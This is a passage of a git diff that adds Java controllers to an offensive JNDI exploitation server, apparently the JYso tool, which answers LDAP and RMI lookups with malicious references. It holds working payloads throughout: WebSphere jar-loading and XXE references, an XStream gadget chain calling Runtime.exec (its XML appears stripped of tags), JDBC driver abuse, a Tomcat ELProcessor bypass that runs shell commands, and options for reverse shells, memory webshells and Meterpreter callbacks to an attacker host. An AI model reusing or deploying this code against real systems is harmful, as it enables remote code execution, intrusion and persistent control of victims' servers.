UnSupportedGadgetTypeException, UnSupportedActionTypeException { + System.out.println("- JNDI LDAP Local Refenrence Links + SnakeYaml"); + try { + base = base.replace('\\', '/'); + int fistIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + payloadType = base.substring(fistIndex + 1, secondIndex); + //System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod:" + payloadType).reset()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int thirdIndex = base.indexOf("/", secondIndex + 1); + + if (thirdIndex != -1) { + if (thirdIndex < 0) thirdIndex = base.length(); + try { + gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Util.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset()); + params = new String[]{cmd}; + } + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params: " + base); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/WebsphereController.java b/src/main/java/com/qi4l/JYso/controllers/WebsphereController.java new file mode 100644 index 0000000..0131cd6 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/WebsphereController.java @@ -0,0 +1,136 @@ +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.enumtypes.PayloadType; +import com.qi4l.JYso.enumtypes.WebsphereActionType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.utils.Util; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; + +import javax.naming.Reference; +import javax.naming.StringRefAddr; +import java.util.Properties; + +import static org.fusesource.jansi.Ansi.ansi; + +/* + * Requires: + * - websphere v6-9 libraries in the classpath + */ + +@LdapMapping(uri = {"/websphere"}) +public class WebsphereController implements LdapController { + private WebsphereActionType actionType; + private String localJarPath; + private String injectUrl; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@" + base)); + + Entry e = new Entry(base); + e.addAttribute("javaClassName", "java.lang.String"); //could be any + + Reference ref; + if (actionType == WebsphereActionType.rce) { + //prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory + ref = new Reference("ExportObject", + "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null); + Properties refProps = new Properties(); + refProps.put("com.ibm.ws.client.classpath", localJarPath); + refProps.put("com.ibm.ws.client.classname", "xExportObject"); +// ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddrropertiesRefAddr("JMSProperties", refProps)); + + } else { + //prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory + ref = new Reference("ExploitObject", + "com.ibm.ws.webservices.engine.client.ServiceFactory", null); + ref.add(new StringRefAddr("WSDL location", injectUrl)); + ref.add(new StringRefAddr("service namespace", "xxx")); + ref.add(new StringRefAddr("service local part", "yyy")); + } + e.addAttribute("javaSerializedData", Util.serialize(ref)); + + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedActionTypeException { + try { + int firstIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", firstIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + actionType = WebsphereActionType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA ActionType >> |@" + actionType)); + } catch (IllegalArgumentException e) { + throw new UnSupportedActionTypeException("UnSupportedActionType >> " + base.substring(firstIndex + 1, secondIndex)); + } + + switch (actionType) { + case list: + String file = base.substring(base.lastIndexOf("=") + 1); + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Read File/List Directory >> |@" + file)); + injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/list.wsdl?file=" + file; + break; + case rce: + String localJarFile = base.substring(base.lastIndexOf("=") + 1); + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Local jar path >> |@" + localJarFile)); + localJarPath = localJarFile; + break; + case upload: + int thirdIndex = base.indexOf("/", secondIndex + 1); + if (thirdIndex < 0) thirdIndex = base.length(); + + PayloadType payloadType; + try { + payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); + // webspherebypass 只支持这 4 种类型的 PayloadType + if (payloadType != PayloadType.command && payloadType != PayloadType.dnslog + && payloadType != PayloadType.reverseshell && payloadType != PayloadType.webspherememshell) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType); + } + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); + } + + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA PayloadType >> |@" + payloadType)); + switch (payloadType) { + case command: + String cmd = Util.getCmdFromBase(base); + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Command >> |@" + cmd)); + injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=command&cmd=" + cmd; + break; + case dnslog: + String url = base.substring(base.lastIndexOf("/") + 1); + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA URL >> |@" + url)); + injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=dnslog&url=" + url; + break; + case reverseshell: + String[] results = Util.getIPAndPortFromBase(base); + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA IP >> |@" + results[0])); + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Port >> |@" + results[1])); + injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=reverseshell&ip=" + results[0] + "&port=" + results[1]; + break; + case webspherememshell: + injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=webspherememshell"; + break; + } + break; + } + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + if (e instanceof UnSupportedActionTypeException) throw (UnSupportedActionTypeException) e; + + throw new IncorrectParamsException("Incorrect params: " + base); + } + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/controllers/XStreamController.java b/src/main/java/com/qi4l/JYso/controllers/XStreamController.java new file mode 100644 index 0000000..00d7272 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/XStreamController.java @@ -0,0 +1,99 @@ +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.enumtypes.PayloadType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; +import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.utils.Util; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.apache.naming.ResourceRef; +import org.fusesource.jansi.Ansi; + +import javax.naming.StringRefAddr; + +@LdapMapping(uri = {"/xstream"}) +public class XStreamController implements LdapController{ + private PayloadType type; + private String[] params; + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + Entry e = new Entry(base); + e.addAttribute("javaClassName", "java.lang.String"); //could be any + ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "", + true, "org.apache.naming.factory.BeanFactory", null); + String xml = "\n" + + " \n" + + " \n" + + " \n" + + " 2\n" + + " \n" + + " 3\n" + + " \n" + + " java.lang.Comparable\n" + + " \n" + + " true\n" + + " java.lang.Comparable\n" + + " \n" + + " \n" + + " \n" + + " java.lang.Comparable\n" + + " compareTo\n" + + " \n" + + " java.lang.Object\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " java.lang.Runtime\n" + + " exec\n" + + " \n" + + " java.lang.String\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " "+ params[0] +"\n" + + " \n" + + ""; + ref.add(new StringRefAddr("forceString", "a=fromXML")); + ref.add(new StringRefAddr("a", xml)); + e.addAttribute("javaSerializedData", Util.serialize(ref)); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { + System.out.println("- JNDI LDAP Local Refenrence Links + XStream"); + try { + int firstIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", firstIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + String payloadType = base.substring(firstIndex + 1, secondIndex); + System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset()); + if (payloadType.equalsIgnoreCase("command")) { + type = PayloadType.valueOf("command"); + //System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type)); + } else { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType); + } + + String cmd = Util.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); + params = new String[]{cmd}; + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params >> " + base); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java b/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java new file mode 100644 index 0000000..e0e1789 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java @@ -0,0 +1,93 @@ +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.enumtypes.GadgetType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.utils.Util; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.fusesource.jansi.Ansi; + +import static org.fusesource.jansi.Ansi.ansi; + +@LdapMapping(uri = {"/jdbc1"}) +public class jdbcController1 implements LdapController { + + private String payloadType; + + private String factoryType; + private String[] params; + private GadgetType gadgetType; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + try { + Entry e = new Entry(base); + String driver = payloadType; + String JDBC_URL = params[0]; + + e.addAttribute("objectClass","javaNamingReference"); + e.addAttribute("javaClassName", "javax.sql.DataSource"); + e.addAttribute("javaFactory",factoryType); + e.addAttribute("javaReferenceAddress", "/0/url/"+JDBC_URL,"/1/driverClassName/" + driver,"/2/username/Squirt1e","/3/password/Squirt1e","/4/initialSize/1"); + + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } catch (Throwable er) { + System.err.println("Error while generating or serializing payload"); + er.printStackTrace(); + } + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { + System.out.println("- JNDI JDBC Refenrence Links Target < JDK20"); + try { + base = base.replace('\\', '/'); + int fistIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + payloadType = base.substring(fistIndex + 1, secondIndex); + System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int thirdIndex = base.indexOf("/", secondIndex + 1); + if (thirdIndex < 0) thirdIndex = base.length(); + + try { + factoryType = base.substring(secondIndex + 1, thirdIndex); + System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int fourthIndex = base.indexOf("/", thirdIndex + 1); + + if (fourthIndex != -1) { + if (fourthIndex < 0) fourthIndex = base.length(); + try { + gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex)); + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Util.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset()); + params = new String[]{cmd}; + } + + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params: " + base); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java b/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java new file mode 100644 index 0000000..6dba10b --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java @@ -0,0 +1,113 @@ +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.enumtypes.GadgetType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.InjShell; +import com.qi4l.JYso.gadgets.utils.Util; +import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.fusesource.jansi.Ansi; + +import javax.naming.RefAddr; +import javax.naming.Reference; +import javax.naming.StringRefAddr; +import java.util.Enumeration; + +import static org.fusesource.jansi.Ansi.ansi; + +@LdapMapping(uri = {"/jdbc2"}) +public class jdbcController2 implements LdapController { + + private String payloadType; + private String factoryType; + private String[] params; + private GadgetType gadgetType; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + try { + Entry e = new Entry(base); + String driver = payloadType; + String JDBC_URL = params[0]; + + Reference ref = new Reference("javax.sql.DataSource", factoryType, null); + ref.add(new StringRefAddr("driverClassName", driver)); + ref.add(new StringRefAddr("url", JDBC_URL)); + ref.add(new StringRefAddr("initialSize", "1")); + + e.addAttribute("objectClass", "javaNamingReference"); + e.addAttribute("javaClassName", ref.getClassName()); + e.addAttribute("javaFactory", ref.getFactoryClassName()); + + Enumeration enumeration = ref.getAll(); + int posn = 0; + + while (enumeration.hasMoreElements()) { + StringRefAddr addr = (StringRefAddr) enumeration.nextElement(); + e.addAttribute("javaReferenceAddress", "#" + posn + "#" + addr.getType() + "#" + addr.getContent()); + posn ++; + } + + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } catch (Throwable er) { + System.err.println("Error while generating or serializing payload"); + er.printStackTrace(); + } + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { + System.out.println("- JNDI JDBC Refenrence Links Target < JDK20"); + try { + base = base.replace('\\', '/'); + int fistIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + payloadType = base.substring(fistIndex + 1, secondIndex); + System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int thirdIndex = base.indexOf("/", secondIndex + 1); + if (thirdIndex < 0) thirdIndex = base.length(); + + try { + factoryType = base.substring(secondIndex + 1, thirdIndex); + System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int fourthIndex = base.indexOf("/", thirdIndex + 1); + + if (fourthIndex != -1) { + if (fourthIndex < 0) fourthIndex = base.length(); + try { + gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex)); + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Util.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset()); + params = new String[]{cmd}; + } + + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params: " + base); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java b/src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java new file mode 100644 index 0000000..53e0f3a --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java @@ -0,0 +1,47 @@ +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; +import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.Config.Config; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.fusesource.jansi.Ansi; + +import java.util.Random; + +@LdapMapping(uri = {"/ldap2rmi"}) +public class ldap2rmiController implements LdapController { + + private final String ip = Config.ip; + private final String rmiPort = String.valueOf(Config.rmiPort); + private String path; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + System.out.println("- Change LDAP to RMI "); + + + Entry e = new Entry(base); + e.addAttribute("javaClassName", "foo"); + e.addAttribute("javaRemoteLocation", "rmi://" + ip + ":" + rmiPort + path); + + System.out.println(Ansi.ansi().fgBrightMagenta().a(" redirecting to: " + "rmi://" + ip + ":" + rmiPort + path).reset()); + + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { + base = base.replace('\\', '/'); + int index = base.indexOf('/'); + if (index != -1) { + String result = base.substring(index); + path = result; + } + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/controllers/rmi/Basic.java b/src/main/java/com/qi4l/JYso/controllers/rmi/Basic.java new file mode 100644 index 0000000..92e5f26 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/rmi/Basic.java @@ -0,0 +1,109 @@ +package com.qi4l.JYso.controllers.rmi; + +import com.qi4l.JYso.enumtypes.GadgetType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.InjShell; +import com.qi4l.JYso.gadgets.utils.Util; +import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; +import com.qi4l.JYso.template.CommandTemplate; +import com.qi4l.JYso.template.echoStatic.Meterpreter; +import org.fusesource.jansi.Ansi; + +import javax.naming.Reference; +import java.net.URL; +import java.util.Base64; + +public class Basic { + static String payloadType; + //最后的反斜杠不能少 + static String codebase = Config.codeBase; + static String[] params; + static GadgetType gadgetType; + + public static Reference basic(String base) throws Exception { + System.out.println("- RMI Remote Refenrence Links "); + try { + base = base.replace('\\', '/'); + int fistIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + payloadType = base.substring(fistIndex + 1, secondIndex); + System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int thirdIndex = base.indexOf("/", secondIndex + 1); + if (thirdIndex != -1) { + if (thirdIndex < 0) thirdIndex = base.length(); + try { + gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex)); + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Util.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); + params = new String[]{cmd}; + } + + if (gadgetType == GadgetType.shell) { + String cmd1 = Util.getCmdFromBase(base); + byte[] decodedBytes = Base64.getDecoder().decode(cmd1); + String cmd = new String(decodedBytes); + String[] cmdArray = cmd.split(" "); + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); + params = cmdArray; + } + + if (gadgetType == GadgetType.msf) { + String[] results1 = Util.getIPAndPortFromBase(base); + Config.rhost = results1[0]; + Config.rport = results1[1]; + System.out.println("[+] RemotHost: " + results1[0]); + System.out.println("[+] RemotPort: " + results1[1]); + params = results1; + } + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params >> " + base); + } + String className = ""; + + if (payloadType.contains("E-")) { + String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); + final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1)); + className = EchoClass.getName(); + } + + if (payloadType.contains("M-")) { + String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); + InjShell.init(params); + className = Gadgets.createClassB(ClassName1); + } + + if (payloadType.contains("command")) { + CommandTemplate commandTemplate = new CommandTemplate(params[0]); + commandTemplate.cache(); + className = commandTemplate.getClassName(); + } + + if (payloadType.contains("msf")) { + className = Meterpreter.class.getName(); + } + + String className1 = className.replaceAll("\\.", "/"); + + URL turl = new URL(new URL(codebase), className1 + ".class"); + Reference ref = new Reference("Foo", className1, turl.toString()); + return ref; + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/rmi/ELProcessor.java b/src/main/java/com/qi4l/JYso/controllers/rmi/ELProcessor.java new file mode 100644 index 0000000..5c74386 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/rmi/ELProcessor.java @@ -0,0 +1,144 @@ +package com.qi4l.JYso.controllers.rmi; + +import com.qi4l.JYso.enumtypes.GadgetType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.InjShell; +import com.qi4l.JYso.gadgets.utils.Util; +import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; +import org.apache.naming.ResourceRef; +import org.fusesource.jansi.Ansi; + +import javax.naming.StringRefAddr; +import java.io.IOException; +import java.lang.reflect.Field; + +public class ELProcessor { + static String payloadType; + static String[] params; + static GadgetType gadgetType = null; + + public static ResourceRef refTomcatBypass(String base) throws Exception { + // 切割参数 + System.out.println("- JNDI RMI Local Refenrence Links "); + try { + base = base.replace('\\', '/'); + int fistIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + payloadType = base.substring(fistIndex + 1, secondIndex); + System.out.println(Ansi.ansi().fgBrightMagenta().a(" PaylaodType: " + payloadType).reset()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int thirdIndex = base.indexOf("/", secondIndex + 1); + + if (thirdIndex != -1) { + if (thirdIndex < 0) thirdIndex = base.length(); + try { + gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex)); + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Util.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); + params = new String[]{cmd}; + } + + if (gadgetType == GadgetType.shell) { + String cmd1 = Util.getCmdFromBase(base); + byte[] decodedBytes = Util.base64Decode(cmd1); + String cmd = new String(decodedBytes); + String[] cmdArray = cmd.split(" "); + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); + params = cmdArray; + } + + if (gadgetType == GadgetType.msf) { + String[] results1 = Util.getIPAndPortFromBase(base); + Config.rhost = results1[0]; + Config.rport = results1[1]; + System.out.println("[+] RemotHost: " + results1[0]); + System.out.println("[+] RemotPort: " + results1[1]); + params = results1; + } + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params: " + base); + } + + // 构造ref对象 + ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "x=eval")); + String code = null; + + if (payloadType.contains("E-")) { + String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); + final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1)); + code = InjShell.injectClass(EchoClass); + } + + if (payloadType.contains("M-")) { + String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); + InjShell.init(params); + code = Gadgets.createClassT(ClassName1); + } + + if (payloadType.contains("command")) { + code = getExecCode(params[0]); + } + + if (payloadType.contains("meterpreter")) { + code = injectMeterpreter(); + } + + + String payloadTemplate = "{" + + "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + + ".newInstance().getEngineByName(\"JavaScript\")" + + ".eval(\"{replacement}\")" + + "}"; + String finalPayload = payloadTemplate.replace("{replacement}", code); + ref.add(new StringRefAddr("x", finalPayload)); + + return ref; + } + + public static String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { + Class ctClazz = Class.forName("com.qi4l.JYso.template.Meterpreter"); + Field WinClassName = ctClazz.getDeclaredField("host"); + WinClassName.setAccessible(true); + WinClassName.set(ctClazz, params[0]); + Field WinclassBody = ctClazz.getDeclaredField("port"); + WinclassBody.setAccessible(true); + WinclassBody.set(ctClazz, params[1]); + return InjShell.injectClass(ctClazz); + } + + public static String getExecCode(String cmd) throws IOException { + + String code = "var strs=new Array(3);\n" + + " if(java.io.File.separator.equals('/')){\n" + + " strs[0]='/bin/bash';\n" + + " strs[1]='-c';\n" + + " strs[2]='" + cmd + "';\n" + + " }else{\n" + + " strs[0]='cmd';\n" + + " strs[1]='/C';\n" + + " strs[2]='" + cmd + "';\n" + + " }\n" + + " java.lang.Runtime.getRuntime().exec(strs);"; + + return code; + } + +} diff --git a/src/main/java/com/qi4l/JYso/controllers/utils/AESUtils.java b/src/main/java/com/qi4l/JYso/controllers/utils/AESUtils.java new file mode 100644 index 0000000..495e2cc --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/utils/AESUtils.java @@ -0,0 +1,39 @@ +package com.qi4l.JYso.controllers.utils; + +import javax.crypto.Cipher; +import javax.crypto.spec.IvParameterSpec; +import javax.crypto.spec.SecretKeySpec; +import java.nio.charset.StandardCharsets; +import java.util.Base64; + +public class AESUtils { + private static final String ALGORITHM = "AES"; + private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding"; + private static final int KEY_SIZE = 16; + + public static String decrypt(String ciphertext, String key) throws Exception { + byte[] combinedBytes = Base64.getDecoder().decode(ciphertext); + byte[] ivBytes = new byte[KEY_SIZE]; + byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE]; + + System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE); + System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length); + + byte[] keyBytes = getKeyBytes(key); + SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM); + IvParameterSpec ivSpec = new IvParameterSpec(ivBytes); + + Cipher cipher = Cipher.getInstance(TRANSFORMATION); + cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec); + + byte[] decryptedBytes = cipher.doFinal(encryptedBytes); + return new String(decryptedBytes, StandardCharsets.UTF_8); + } + + private static byte[] getKeyBytes(String key) { + byte[] keyBytes = new byte[KEY_SIZE]; + byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8); + System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length)); + return keyBytes; + } +} diff --git 